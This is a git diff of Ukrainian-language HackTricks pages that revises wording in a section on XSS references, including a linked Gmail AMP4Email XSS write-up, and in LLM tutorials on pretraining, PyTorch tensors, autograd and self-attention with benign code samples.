Якщо ви не можете ввести HTML теги, варто спробувати **ввести PDF дані**:
|
||||
Якщо ви не можете вставити HTML теги, варто спробувати **вставити PDF дані**:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
|
@ -1370,7 +1370,7 @@ AMP, спрямований на прискорення продуктивнос
|
|||
|
||||
Формат [**AMP для електронної пошти**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює специфічні AMP компоненти для електронних листів, дозволяючи отримувачам взаємодіяти з контентом безпосередньо в їхніх електронних листах.
|
||||
|
||||
Приклад [**опису XSS в Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Приклад [**опису XSS в Amp4Email в Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS завантаження файлів (svg)
|
||||
|
||||
|
@ -1446,15 +1446,15 @@ id="foo"/>
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
## Попереднє навчання
|
||||
|
||||
Попереднє навчання є основною фазою в розробці великої мовної моделі (LLM), де модель піддається впливу величезних і різноманітних обсягів текстових даних. Під час цього етапу **LLM вивчає основні структури, шаблони та нюанси мови**, включаючи граматику, словниковий запас, синтаксис і контекстуальні зв'язки. Обробляючи ці обширні дані, модель набуває широкого розуміння мови та загальних знань про світ. Ця всебічна база дозволяє LLM генерувати зв'язний і контекстуально релевантний текст. Після цього попередньо навчена модель може пройти доопрацювання, де вона додатково навчається на спеціалізованих наборах даних, щоб адаптувати свої можливості для конкретних завдань або доменів, покращуючи свою продуктивність і релевантність у цільових застосуваннях.
|
||||
Попереднє навчання є основною фазою в розробці великої мовної моделі (LLM), де модель піддається впливу величезних і різноманітних обсягів текстових даних. Під час цього етапу **LLM вивчає основні структури, шаблони та нюанси мови**, включаючи граматику, словниковий запас, синтаксис і контекстуальні зв'язки. Обробляючи ці обширні дані, модель набуває широкого розуміння мови та загальних знань про світ. Ця всебічна база дозволяє LLM генерувати зв'язний і контекстуально релевантний текст. Після цього попередньо навчена модель може пройти донавчання, де вона додатково тренується на спеціалізованих наборах даних, щоб адаптувати свої можливості для конкретних завдань або доменів, покращуючи свою продуктивність і релевантність у цільових застосуваннях.
|
||||
|
||||
## Основні компоненти LLM
|
||||
|
||||
Зазвичай LLM характеризується конфігурацією, що використовується для його навчання. Це загальні компоненти при навчанні LLM:
|
||||
|
||||
* **Параметри**: Параметри — це **навчальні ваги та зміщення** в нейронній мережі. Це числа, які процес навчання коригує для мінімізації функції втрат і покращення продуктивності моделі в завданні. LLM зазвичай використовують мільйони параметрів.
|
||||
* **Параметри**: Параметри — це **навчальні ваги та зміщення** в нейронній мережі. Це числа, які процес навчання коригує для мінімізації функції втрат і покращення продуктивності моделі на завданні. LLM зазвичай використовують мільйони параметрів.
|
||||
* **Довжина контексту**: Це максимальна довжина кожного речення, що використовується для попереднього навчання LLM.
|
||||
* **Розмір векторного вкладу**: Розмір вектора, що використовується для представлення кожного токена або слова. LLM зазвичай використовують мільярди вимірів.
|
||||
* **Схований розмір**: Розмір прихованих шарів у нейронній мережі.
|
||||
|
@ -91,7 +91,7 @@ print(float_tensor.dtype) # Output: torch.float32
|
|||
|
||||
PyTorch надає різноманітні операції для маніпуляції тензорами:
|
||||
|
||||
* **Доступ до форми**: Використовуйте `.shape`, щоб отримати розміри тензора.
|
||||
* **Отримання форми**: Використовуйте `.shape`, щоб отримати розміри тензора.
|
||||
|
||||
```python
|
||||
print(tensor2d.shape) # Вихід: torch.Size([2, 2])
|
||||
|
@ -130,9 +130,9 @@ result = tensor2d @ tensor2d.T
|
|||
|
||||
В основі автоматичного диференціювання лежить **правило ланцюга** з математичного аналізу. Правило ланцюга стверджує, що якщо у вас є композиція функцій, то похідна складної функції є добутком похідних складових функцій.
|
||||
|
||||
Математично, якщо `y=f(u)` і `u=g(x)`, то похідна `y` по відношенню до `x` є:
|
||||
Математично, якщо `y=f(u)` і `u=g(x)`, тоді похідна `y` по відношенню до `x` є:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Обчислювальний граф**
|
||||
|
||||
|
@ -142,7 +142,7 @@ result = tensor2d @ tensor2d.T
|
|||
|
||||
Розглянемо просту функцію:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Де:
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
Механізми уваги дозволяють нейронним мережам **зосереджуватися на конкретних частинах вхідних даних під час генерації кожної частини виходу**. Вони призначають різні ваги різним вхідним даним, допомагаючи моделі вирішити, які вхідні дані є найбільш релевантними для поставленого завдання. Це є критично важливим у таких завданнях, як машинний переклад, де розуміння контексту всього речення необхідне для точного перекладу.
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього четвертого етапу дуже проста: **застосувати деякі механізми уваги**. Це будуть багато **повторюваних шарів**, які **захоплять зв'язок слова у словнику з його сусідами в поточному реченні, що використовується для навчання LLM**.\
|
||||
Мета цього четвертого етапу дуже проста: **застосувати деякі механізми уваги**. Це будуть багато **повторюваних шарів**, які **захоплюють зв'язок слова у словнику з його сусідами в поточному реченні, що використовується для навчання LLM**.\
|
||||
Для цього використовується багато шарів, тому багато навчальних параметрів будуть захоплювати цю інформацію.
|
||||
{% endhint %}
|
||||
|
||||
|
@ -15,7 +15,7 @@
|
|||
|
||||
#### Приклад: Машинний переклад
|
||||
|
||||
Розглянемо переклад німецького речення "Kannst du mir helfen diesen Satz zu übersetzen" на англійську. Переклад слово за словом не дасть граматично правильного англійського речення через відмінності в граматичних структурах між мовами. Механізм уваги дозволяє моделі зосередитися на релевантних частинах вхідного речення під час генерації кожного слова вихідного речення, що призводить до більш точного та узгодженого перекладу.
|
||||
Розглянемо переклад німецького речення "Kannst du mir helfen diesen Satz zu übersetzen" на англійську. Переклад слово за словом не дасть граматично правильного англійського речення через відмінності в граматичних структурах між мовами. Механізм уваги дозволяє моделі зосереджуватися на релевантних частинах вхідного речення під час генерації кожного слова вихідного речення, що призводить до більш точного та зв'язного перекладу.
|
||||
|
||||
### Вступ до самоуваги
|
||||
|
||||
|
@ -51,7 +51,7 @@
|
|||
|
||||
**Оцінка уваги між "shiny" та "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Оцінка уваги між "sun" та "shiny"**
|
||||
|
||||
|
@ -60,7 +60,7 @@
|
|||
#### Крок 2: Нормалізація оцінок уваги для отримання ваг уваги
|
||||
|
||||
{% hint style="success" %}
|
||||
Не губіться в математичних термінах, мета цієї функції проста, нормалізувати всі ваги так, щоб **вони в сумі давали 1**.
|
||||
Не губіться в математичних термінах, мета цієї функції проста: нормалізувати всі ваги так, щоб **вони в сумі давали 1**.
|
||||
|
||||
Крім того, **функція softmax** використовується, оскільки вона підкреслює відмінності завдяки експоненціальній частині, що полегшує виявлення корисних значень.
|
||||
{% endhint %}
|
||||
|
@ -84,7 +84,7 @@
|
|||
#### Крок 3: Обчислення вектора контексту
|
||||
|
||||
{% hint style="success" %}
|
||||
Просто візьміть кожну вагу уваги і помножте її на відповідні вимірювання токена, а потім складіть всі вимірювання, щоб отримати лише 1 вектор (вектор контексту) 
|
||||
Просто візьміть кожну вагу уваги і помножте її на відповідні виміри токена, а потім додайте всі виміри, щоб отримати лише 1 вектор (вектор контексту) 
|
||||
{% endhint %}
|
||||
|
||||
**Вектор контексту** обчислюється як зважена сума векторних представлень усіх слів, використовуючи ваги уваги.
|
||||
|
@ -113,7 +113,7 @@
|
|||
|
||||
1. **Обчисліть оцінки уваги**: Використовуйте скалярний добуток між векторним представленням цільового слова та векторними представленнями всіх слів у послідовності.
|
||||
2. **Нормалізуйте оцінки для отримання ваг уваги**: Застосуйте функцію softmax до оцінок уваги, щоб отримати ваги, які в сумі дають 1.
|
||||
3. **Обчисліть вектор контексту**: Помножте векторне представлення кожного слова на його вагу уваги та складіть результати.
|
||||
3. **Обчисліть вектор контексту**: Помножте векторне представлення кожного слова на його вагу уваги та підсумуйте результати.
|
||||
|
||||
## Самоувага з навчальними вагами
|
||||
|
||||
|
@ -121,11 +121,11 @@
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
Запит - це дані, які використовуються, як і раніше, тоді як матриці ключів і значень - це просто випадкові навчальні матриці.
|
||||
Запит є даними, які використовуються, як і раніше, тоді як матриці ключів і значень - це просто випадкові навчальні матриці.
|
||||
|
||||
#### Крок 1: Обчислення запитів, ключів і значень
|
||||
|
||||
Кожен токен матиме свою власну матрицю запиту, ключа та значення, множачи свої значення вимірювання на визначені матриці:
|
||||
Кожен токен матиме свою власну матрицю запиту, ключа та значення, множачи свої значення вимірів на визначені матриці:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -155,35 +155,35 @@ queries = torch.matmul(inputs, W_query)
|
|||
keys = torch.matmul(inputs, W_key)
|
||||
values = torch.matmul(inputs, W_value)
|
||||
```
|
||||
#### Step 2: Compute Scaled Dot-Product Attention
|
||||
#### Крок 2: Обчислення масштабованої уваги за допомогою скалярного добутку
|
||||
|
||||
**Compute Attention Scores**
|
||||
**Обчислення оцінок уваги**
|
||||
|
||||
Схоже на приклад з попереднього разу, але цього разу, замість використання значень вимірів токенів, ми використовуємо матрицю ключів токена (яка вже була обчислена за допомогою вимірів):. Отже, для кожного запиту `qi` та ключа `kj`:
|
||||
Схоже на попередній приклад, але цього разу, замість використання значень вимірів токенів, ми використовуємо матрицю ключів токена (яка вже була обчислена за допомогою вимірів):. Отже, для кожного запиту `qi` та ключа `kj`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Scale the Scores**
|
||||
**Масштабування оцінок**
|
||||
|
||||
Щоб запобігти тому, щоб скалярні добутки не ставали занадто великими, масштабуйте їх за квадратним коренем розміру ключа `dk`:
|
||||
Щоб запобігти тому, щоб скалярні добутки не ставали занадто великими, масштабуйте їх на квадратний корінь з розміру ключа `dk`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Оцінка ділиться на квадратний корінь розмірів, оскільки скалярні добутки можуть ставати дуже великими, і це допомагає їх регулювати.
|
||||
Оцінка ділиться на квадратний корінь з вимірів, оскільки скалярні добутки можуть ставати дуже великими, і це допомагає їх регулювати.
|
||||
{% endhint %}
|
||||
|
||||
**Apply Softmax to Obtain Attention Weights:** Як у початковому прикладі, нормалізуйте всі значення так, щоб їхня сума дорівнювала 1. 
|
||||
**Застосування Softmax для отримання ваг уваги:** Як у початковому прикладі, нормалізуйте всі значення, щоб їхня сума дорівнювала 1. 
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### Step 3: Compute Context Vectors
|
||||
#### Крок 3: Обчислення контекстних векторів
|
||||
|
||||
Як у початковому прикладі, просто складіть усі матриці значень, помноживши кожну з них на її вагу уваги:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
### Code Example
|
||||
### Приклад коду
|
||||
|
||||
Взявши приклад з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), ви можете перевірити цей клас, який реалізує функціональність самостійної уваги, про яку ми говорили:
|
||||
```python
|
||||
|
@ -412,7 +412,7 @@ print("context_vecs.shape:", context_vecs.shape)
|
|||
{% hint style="success" %}
|
||||
Коротка відповідь ChatGPT про те, чому краще розділити виміри токенів між головами, замість того, щоб кожна голова перевіряла всі виміри всіх токенів:
|
||||
|
||||
Хоча дозволити кожній голові обробляти всі вимірювання вбудовування може здаватися вигідним, оскільки кожна голова матиме доступ до всієї інформації, стандартна практика полягає в тому, щоб **розділити вимірювання вбудовування між головами**. Цей підхід забезпечує баланс між обчислювальною ефективністю та продуктивністю моделі та заохочує кожну голову вивчати різноманітні представлення. Тому розподіл вимірювань вбудовування зазвичай є кращим, ніж те, щоб кожна голова перевіряла всі виміри.
|
||||
Хоча дозволити кожній голові обробляти всі вимірювання вбудовування може здаватися вигідним, оскільки кожна голова матиме доступ до всієї інформації, стандартною практикою є **розподіл вимірів вбудовування між головами**. Цей підхід забезпечує баланс між обчислювальною ефективністю та продуктивністю моделі та заохочує кожну голову вивчати різноманітні представлення. Тому розподіл вимірів вбудовування зазвичай є кращим, ніж надання кожній голові можливості перевіряти всі виміри.
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
|